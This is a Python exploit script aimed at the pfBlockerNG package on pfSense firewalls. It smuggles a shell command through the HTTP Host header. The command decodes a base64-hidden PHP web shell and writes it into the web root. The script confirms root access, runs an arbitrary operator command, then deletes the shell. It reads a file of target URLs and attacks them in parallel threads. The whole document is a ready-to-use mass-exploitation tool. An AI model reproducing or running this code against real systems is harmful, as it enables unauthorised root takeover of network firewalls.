#!/usr/bin/env python3

import requests
import time
import sys
import urllib.parse
import threading
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class PfSenseExploit:
    def __init__(self, url, command):
        self.url = "https://" + url + "/"
        self.shell_filename = "system_advanced_control.php"
        self.command = command

    def check_endpoint(self):
        response = requests.get(f'{self.url}pfblockerng/www/index.php', verify=False)
        if response.status_code == 200:
            print("[+] pfBlockerNG is installed")
        else:
            print("\n[-] pfBlockerNG not installed")

    def upload_shell(self):
        payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
        print("[/] Uploading shell...")
        response = requests.get(f'{self.url}pfblockerng/www/index.php', headers=payload, verify=False)
        time.sleep(2)
        response = requests.get(f'{self.url}system_advanced_control.php?c=id', verify=False)
        if 'uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8'):
            print("[+] Upload succeeded")
        else:
            print("\n[-] Error uploading shell. Probably patched ", response.content)

    def interactive_shell(self):
        response = requests.get(f'{self.url}system_advanced_control.php?c={urllib.parse.quote(self.command, safe="")}', verify=False)
        print(str(response.text) + "\n")

    def delete_shell(self):
        delcmd = "rm /usr/local/www/system_advanced_control.php"
        response = requests.get(f'{self.url}system_advanced_control.php?c={urllib.parse.quote(delcmd, safe="")}', verify=False)
        print("\n[+] Shell deleted")

    def run(self):
        try:
            self.check_endpoint()
            self.upload_shell()
            self.interactive_shell()
            self.delete_shell()
        except Exception as e:
            print(f"[-] Exception occurred: {e}")
            self.delete_shell()

def main():
    parser = argparse.ArgumentParser(description="PfSense Exploit Script")
    parser.add_argument('-f', '--file', required=True, help="File containing list of URLs")
    parser.add_argument('-c', '--command', required=True, help="Command to execute on the target")
    args = parser.parse_args()

    with open(args.file) as f:
        urls = f.readlines()
        urls = [x.strip() for x in urls]

        for url in urls:
            threading.Thread(target=PfSenseExploit(url, args.command).run).start()

if __name__ == "__main__":
    main()